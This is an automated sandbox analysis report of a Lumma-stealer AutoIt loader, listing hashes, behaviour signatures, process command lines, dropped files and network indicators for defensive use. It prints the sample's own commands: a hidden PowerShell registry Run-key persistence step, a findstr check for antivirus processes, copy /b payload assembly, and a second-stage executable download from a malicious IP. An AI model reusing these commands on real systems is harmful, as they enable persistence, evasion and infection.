File name:

89a25f58a5d4d1110564f2c587352c6e.exe

Full analysis: https://app.any.run/tasks/f2975150-d0c0-49a5-9565-96852c24f35c
Verdict: Malicious activity
Threats:

A loader is malicious software that infiltrates devices to deliver malicious payloads. This malware is capable of infecting victims’ computers, analyzing their system information, and installing other types of threats, such as trojans or stealers. Criminals usually deliver loaders through phishing emails and links by relying on social engineering to trick users into downloading and running their executables. Loaders employ advanced evasion and persistence tactics to avoid detection.

Malware Trends Tracker     >>>
Analysis date: April 05, 2025, 10:59:13
OS: Windows 10 Professional (build: 19044, 64 bit)
Tags:
autoit
stealer
lumma
loader
autoit-loader
delphi
golang
Indicators:
MIME: application/vnd.microsoft.portable-executable
File info: PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive, 5 sections
MD5:

89A25F58A5D4D1110564F2C587352C6E

SHA1:

C7BE149C04D5247DAEE966AB32C662602AECB3D4

SHA256:

DEA66ED67E46D3D36C95A7EBB9BD67F087A7E8B91FEA959CE60C5415F805A9E9

SSDEEP:

98304:ousemsUlh1i1puKGkwF8A6YBmDYUZvIsMiONbcy6zRMfTy+jKsPX9GE1+YnwD36x:oOcRUjQYYctYC/1QjaDu2+cUFK0O

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • AutoIt loader has been detected (YARA)

      • Pr.com (PID: 1328)

    • Steals credentials from Web Browsers

      • Pr.com (PID: 1328)

    • LUMMA mutex has been found

      • Pr.com (PID: 1328)

    • Actions looks like stealing of personal data

      • Pr.com (PID: 1328)

    • Executing a file with an untrusted certificate

      • H91O5LPJTM46KGGICBLPM0XSKPO2Y.exe (PID: 4188)

    • Run PowerShell with an invisible window

      • powershell.exe (PID: 1116)

  • SUSPICIOUS

    • Starts CMD.EXE for commands execution

      • 89a25f58a5d4d1110564f2c587352c6e.exe (PID: 3676)
      • cmd.exe (PID: 2600)

    • Reads security settings of Internet Explorer

      • 89a25f58a5d4d1110564f2c587352c6e.exe (PID: 3676)

    • Get information on the list of running processes

      • cmd.exe (PID: 2600)

    • Executing commands from a ".bat" file

      • 89a25f58a5d4d1110564f2c587352c6e.exe (PID: 3676)

    • Application launched itself

      • cmd.exe (PID: 2600)

    • The executable file from the user directory is run by the CMD process

      • Pr.com (PID: 1328)

    • Starts the AutoIt3 executable file

      • cmd.exe (PID: 2600)

    • Using 'findstr.exe' to search for text patterns in files and output

      • cmd.exe (PID: 2600)

    • Starts application with an unusual extension

      • cmd.exe (PID: 2600)

    • There is functionality for taking screenshot (YARA)

      • Pr.com (PID: 1328)
      • 89a25f58a5d4d1110564f2c587352c6e.exe (PID: 3676)

    • Searches for installed software

      • Pr.com (PID: 1328)

    • Potential Corporate Privacy Violation

      • Pr.com (PID: 1328)

    • Starts POWERSHELL.EXE for commands execution

      • MSBuild.exe (PID: 6988)

    • Connects to unusual port

      • MSBuild.exe (PID: 6988)

    • Executable content was dropped or overwritten

      • Pr.com (PID: 1328)

    • Process requests binary or script from the Internet

      • Pr.com (PID: 1328)

    • Connects to the server without a host name

      • Pr.com (PID: 1328)

  • INFO

    • Checks supported languages

      • 89a25f58a5d4d1110564f2c587352c6e.exe (PID: 3676)
      • extrac32.exe (PID: 4040)
      • Pr.com (PID: 1328)
      • H91O5LPJTM46KGGICBLPM0XSKPO2Y.exe (PID: 4188)
      • MSBuild.exe (PID: 6988)

    • Create files in a temporary directory

      • 89a25f58a5d4d1110564f2c587352c6e.exe (PID: 3676)
      • extrac32.exe (PID: 4040)
      • Pr.com (PID: 1328)

    • Process checks computer location settings

      • 89a25f58a5d4d1110564f2c587352c6e.exe (PID: 3676)

    • Reads the computer name

      • 89a25f58a5d4d1110564f2c587352c6e.exe (PID: 3676)
      • extrac32.exe (PID: 4040)
      • Pr.com (PID: 1328)
      • H91O5LPJTM46KGGICBLPM0XSKPO2Y.exe (PID: 4188)

    • Creates a new folder

      • cmd.exe (PID: 6040)

    • Reads mouse settings

      • Pr.com (PID: 1328)

    • Reads the software policy settings

      • Pr.com (PID: 1328)
      • slui.exe (PID: 4892)

    • The sample compiled with english language support

      • Pr.com (PID: 1328)

    • Manual execution by a user

      • MSBuild.exe (PID: 6988)

    • Application based on Golang

      • MSBuild.exe (PID: 6988)

    • Changes the registry key values via Powershell

      • MSBuild.exe (PID: 6988)

    • Drops encrypted JS script (Microsoft Script Encoder)

      • MSBuild.exe (PID: 6988)

    • Creates files or folders in the user directory

      • MSBuild.exe (PID: 6988)

    • Detects GO elliptic curve encryption (YARA)

      • MSBuild.exe (PID: 6988)

    • Checks proxy server information

      • slui.exe (PID: 4892)

    • Reads the machine GUID from the registry

      • H91O5LPJTM46KGGICBLPM0XSKPO2Y.exe (PID: 4188)

    • Compiled with Borland Delphi (YARA)

      • H91O5LPJTM46KGGICBLPM0XSKPO2Y.exe (PID: 4188)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.exe | Win32 EXE PECompact compressed (generic) (35.9)
.exe | Win32 Executable MS Visual C++ (generic) (27)
.exe | Win64 Executable (generic) (23.9)
.dll | Win32 Dynamic Link Library (generic) (5.6)
.exe | Win32 Executable (generic) (3.9)

EXIF

EXE

MachineType: Intel 386 or later, and compatibles
TimeStamp: 2010:04:10 12:19:06+00:00
ImageFileCharacteristics: No relocs, Executable, 32-bit
PEType: PE32
LinkerVersion: 9
CodeSize: 25600
InitializedDataSize: 4226560
UninitializedDataSize: 16896
EntryPoint: 0x33ff
OSVersion: 5
ImageVersion: 6
SubsystemVersion: 5
Subsystem: Windows GUI
No data.
screenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
149
Monitored processes
20
Malicious processes
3
Suspicious processes
1

Behavior graph

Click at the process to see the details
start 89a25f58a5d4d1110564f2c587352c6e.exe no specs cmd.exe no specs conhost.exe no specs tasklist.exe no specs findstr.exe no specs tasklist.exe no specs findstr.exe no specs cmd.exe no specs extrac32.exe no specs findstr.exe no specs cmd.exe no specs cmd.exe no specs #LUMMA pr.com choice.exe no specs rundll32.exe no specs h91o5lpjtm46kggicblpm0xskpo2y.exe no specs msbuild.exe powershell.exe no specs conhost.exe no specs slui.exe

Process information

PID
CMD
Path
Indicators
Parent process
1040C:\WINDOWS\System32\rundll32.exe C:\WINDOWS\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -EmbeddingC:\Windows\System32\rundll32.exe—svchost.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows host process (Rundll32)
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\rundll32.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\shcore.dll
c:\windows\system32\imagehlp.dll
1116powershell -WindowStyle hidden -Command "if (-Not (Test-Path \"HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\App\")) { Set-ItemProperty -Path \"HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\" -Name \"App\" -Value \"C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe\" }"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe—MSBuild.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\syswow64\windowspowershell\v1.0\powershell.exe
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\syswow64\kernel32.dll
c:\windows\syswow64\kernelbase.dll
c:\windows\syswow64\apphelp.dll
c:\windows\syswow64\msvcrt.dll
1328Pr.com R C:\Users\admin\AppData\Local\Temp\10306\Pr.com
cmd.exe
User:
admin
Company:
AutoIt Team
Integrity Level:
MEDIUM
Description:
AutoIt v3 Script (Beta)
Version:
3, 3, 15, 5
Modules
Images
c:\users\admin\appdata\local\temp\10306\pr.com
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\syswow64\kernel32.dll
c:\windows\syswow64\kernelbase.dll
c:\windows\syswow64\apphelp.dll
c:\windows\syswow64\psapi.dll
1812\??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1C:\Windows\System32\conhost.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Console Window Host
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\conhost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\shcore.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
2096findstr "SophosHealth bdservicehost AvastUI AVGUI nsWscSvc ekrn" C:\Windows\SysWOW64\findstr.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Find String (QGREP) Utility
Exit code:
1
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\syswow64\findstr.exe
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\syswow64\kernel32.dll
c:\windows\syswow64\kernelbase.dll
c:\windows\syswow64\apphelp.dll
c:\windows\syswow64\msvcrt.dll
2340cmd /c copy /b 10306\Pr.com + Ronald + Database + Morocco + Reproductive + Calendars + Pressing + Discharge + Nhl + Ata 10306\Pr.comC:\Windows\SysWOW64\cmd.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
10.0.19041.3636 (WinBuild.160101.0800)
Modules
Images
c:\windows\syswow64\cmd.exe
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\syswow64\kernel32.dll
c:\windows\syswow64\kernelbase.dll
c:\windows\syswow64\apphelp.dll
c:\windows\syswow64\msvcrt.dll
2600"C:\Windows\System32\cmd.exe" /c copy Portfolio.csv Portfolio.csv.bat & Portfolio.csv.batC:\Windows\SysWOW64\cmd.exe—89a25f58a5d4d1110564f2c587352c6e.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
1
Version:
10.0.19041.3636 (WinBuild.160101.0800)
Modules
Images
c:\windows\syswow64\cmd.exe
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\syswow64\kernel32.dll
c:\windows\syswow64\kernelbase.dll
c:\windows\syswow64\apphelp.dll
c:\windows\syswow64\msvcrt.dll
3676"C:\Users\admin\AppData\Local\Temp\89a25f58a5d4d1110564f2c587352c6e.exe" C:\Users\admin\AppData\Local\Temp\89a25f58a5d4d1110564f2c587352c6e.exe—explorer.exe
User:
admin
Integrity Level:
MEDIUM
Exit code:
0
Modules
Images
c:\users\admin\appdata\local\temp\89a25f58a5d4d1110564f2c587352c6e.exe
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\syswow64\kernel32.dll
c:\windows\syswow64\kernelbase.dll
c:\windows\syswow64\apphelp.dll
c:\windows\syswow64\user32.dll
4040extrac32 /Y /E Outreach.csvC:\Windows\SysWOW64\extrac32.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft® CAB File Extract Utility
Exit code:
0
Version:
5.00 (WinBuild.160101.0800)
Modules
Images
c:\windows\syswow64\extrac32.exe
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\syswow64\kernel32.dll
c:\windows\syswow64\kernelbase.dll
c:\windows\syswow64\apphelp.dll
c:\windows\syswow64\msvcrt.dll
4188"C:\Users\admin\AppData\Local\Temp\H91O5LPJTM46KGGICBLPM0XSKPO2Y.exe"C:\Users\admin\AppData\Local\Temp\H91O5LPJTM46KGGICBLPM0XSKPO2Y.exe—Pr.com
User:
admin
Company:
MecaNet
Integrity Level:
MEDIUM
Description:
Curso de mecanografía MecaNet
Exit code:
4294967295
Version:
25.01.11.0
Modules
Images
c:\users\admin\appdata\local\temp\h91o5lpjtm46kggicblpm0xskpo2y.exe
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\syswow64\kernel32.dll
c:\windows\syswow64\kernelbase.dll
c:\windows\syswow64\apphelp.dll
c:\windows\syswow64\user32.dll
Total events
6 926
Read events
6 925
Write events
1
Delete events
0

Modification events

(PID) Process:(1116) powershell.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
Operation:writeName:App
Value:
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
Executable files
1
Suspicious files
23
Text files
5
Unknown types
0

Dropped files

PID
Process
Filename
Type
367689a25f58a5d4d1110564f2c587352c6e.exeC:\Users\admin\AppData\Local\Temp\Users.csvbinary
MD5:03F669602AB1E06F57709081BBEE9AF9
SHA256:C71A3BA390624ABDE14F1FB8EF0CECCC53EF4916439477A16051135C78A4DFA6
367689a25f58a5d4d1110564f2c587352c6e.exeC:\Users\admin\AppData\Local\Temp\Outreach.csvcompressed
MD5:83AD69020EC5A243C74480BEAF2A52EE
SHA256:CB8F97CF7921C4958B0882D4DAECD5EB5462561DB670665DCBEB188A19875009
4040extrac32.exeC:\Users\admin\AppData\Local\Temp\Lanesbinary
MD5:964BBAFAC30146DF398F53287C999561
SHA256:D72B13DFF32A9000504B3BD32500A4814AF48448D3AB85163933DB72BB56E015
4040extrac32.exeC:\Users\admin\AppData\Local\Temp\Ronaldbinary
MD5:2EFFB5C4BBCC2F99E5D58D7AB9211023
SHA256:060E3B107FC35BC4FABA8C1440D8165BD82DEA68B346E5068BF89D0C5F4A1CDA
4040extrac32.exeC:\Users\admin\AppData\Local\Temp\Calendarsbinary
MD5:EB5186D5D08DCA913B8B393BF9681041
SHA256:1A7D9BDA5BC7537EB3EAC9B45997400D25C3069863A721DD8FDEE455392CA1EC
4040extrac32.exeC:\Users\admin\AppData\Local\Temp\Nhlbinary
MD5:D4706A29712FFE1B24D5359E3DFE3CD4
SHA256:D7CA3463B021307AB54D84AE896BA73591C72F2886CCD9EA05C8415E5596D92D
4040extrac32.exeC:\Users\admin\AppData\Local\Temp\Moroccobinary
MD5:3F542874B345C1B6F84F4C71457CD5DE
SHA256:979ADAE68BF1438160DD8E98A85753F5158953DA157A3026B1FBF43BED1EF2FA
4040extrac32.exeC:\Users\admin\AppData\Local\Temp\Pressingbinary
MD5:CE483E93E70A7E676D61294A5E38BFD4
SHA256:BAD2BC6572AA1B0790121378741893D0D5F25A1BCA865865ECE69E4C229312F1
4040extrac32.exeC:\Users\admin\AppData\Local\Temp\Reproductivebinary
MD5:F49D55756148D1CF23BF342FFAA075FA
SHA256:01C20090483F4B97A0DFF8007E5E311FFCD8C1B2C2AFFA0FE27F99CF13AB0154
4040extrac32.exeC:\Users\admin\AppData\Local\Temp\Atabinary
MD5:BFAE7B24895D70B1AF850AC9F49DD065
SHA256:7FA5D888DC7EC9002AD36172D5BF89301CD64B59CA652B1610C5649F9F5A03B5
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
5
TCP/UDP connections
31
DNS requests
15
Threats
4

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
—
—
GET
200
23.216.77.36:80
http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl
unknown
—
—
whitelisted
6544
svchost.exe
GET
200
2.17.190.73:80
http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D
unknown
—
—
whitelisted
4208
SIHClient.exe
GET
200
2.16.253.202:80
http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Product%20Root%20Certificate%20Authority%202018.crl
unknown
—
—
whitelisted
4208
SIHClient.exe
GET
200
2.16.253.202:80
http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Update%20Secure%20Server%20CA%202.1.crl
unknown
—
—
whitelisted
1328
Pr.com
GET
200
195.82.146.34:80
http://195.82.146.34/888.exe
unknown
—
—
malicious
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
—
—
40.127.240.158:443
—
MICROSOFT-CORP-MSN-AS-BLOCK
IE
unknown
4
System
192.168.100.255:138
—
—
—
whitelisted
—
—
23.216.77.36:80
crl.microsoft.com
Akamai International B.V.
DE
whitelisted
—
—
172.172.255.218:443
client.wns.windows.com
MICROSOFT-CORP-MSN-AS-BLOCK
US
whitelisted
6544
svchost.exe
20.190.160.67:443
login.live.com
MICROSOFT-CORP-MSN-AS-BLOCK
NL
whitelisted
6544
svchost.exe
2.17.190.73:80
ocsp.digicert.com
AKAMAI-AS
DE
whitelisted
2112
svchost.exe
51.104.136.2:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
IE
whitelisted
2104
svchost.exe
51.104.136.2:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
IE
whitelisted
4
System
192.168.100.255:137
—
—
—
whitelisted
4208
SIHClient.exe
20.109.210.53:443
slscr.update.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
US
whitelisted

DNS requests

Domain
IP
Reputation
crl.microsoft.com
  • 23.216.77.36
  • 23.216.77.25
whitelisted
google.com
  • 216.58.206.46
whitelisted
client.wns.windows.com
  • 172.172.255.218
whitelisted
login.live.com
  • 20.190.160.67
  • 20.190.160.131
  • 40.126.32.76
  • 20.190.160.65
  • 20.190.160.20
  • 20.190.160.4
  • 20.190.160.130
  • 40.126.32.134
whitelisted
ocsp.digicert.com
  • 2.17.190.73
whitelisted
settings-win.data.microsoft.com
  • 51.104.136.2
whitelisted
AoZomuzhCfeRYcokraP.AoZomuzhCfeRYcokraP
  • —
unknown
slscr.update.microsoft.com
  • 20.109.210.53
whitelisted
www.microsoft.com
  • 2.16.253.202
whitelisted
fe3cr.delivery.mp.microsoft.com
  • 20.3.187.198
whitelisted

Threats

PID
Process
Class
Message
1328
Pr.com
Potentially Bad Traffic
ET INFO Executable Download from dotted-quad Host
1328
Pr.com
Potentially Bad Traffic
ET INFO Executable Retrieved With Minimal HTTP Headers - Potential Second Stage Download
1328
Pr.com
Potential Corporate Privacy Violation
ET INFO PE EXE or DLL Windows file download HTTP
1328
Pr.com
Potentially Bad Traffic
ET HUNTING SUSPICIOUS Dotted Quad Host MZ Response
No debug info
Interactive malware hunting service ANY.RUN
© 2017-2025 ANY.RUN ALL RIGHTS RESERVED
ANY.RUN
Reports
89a25f58a5d4d1110564f2c587352c6e.exe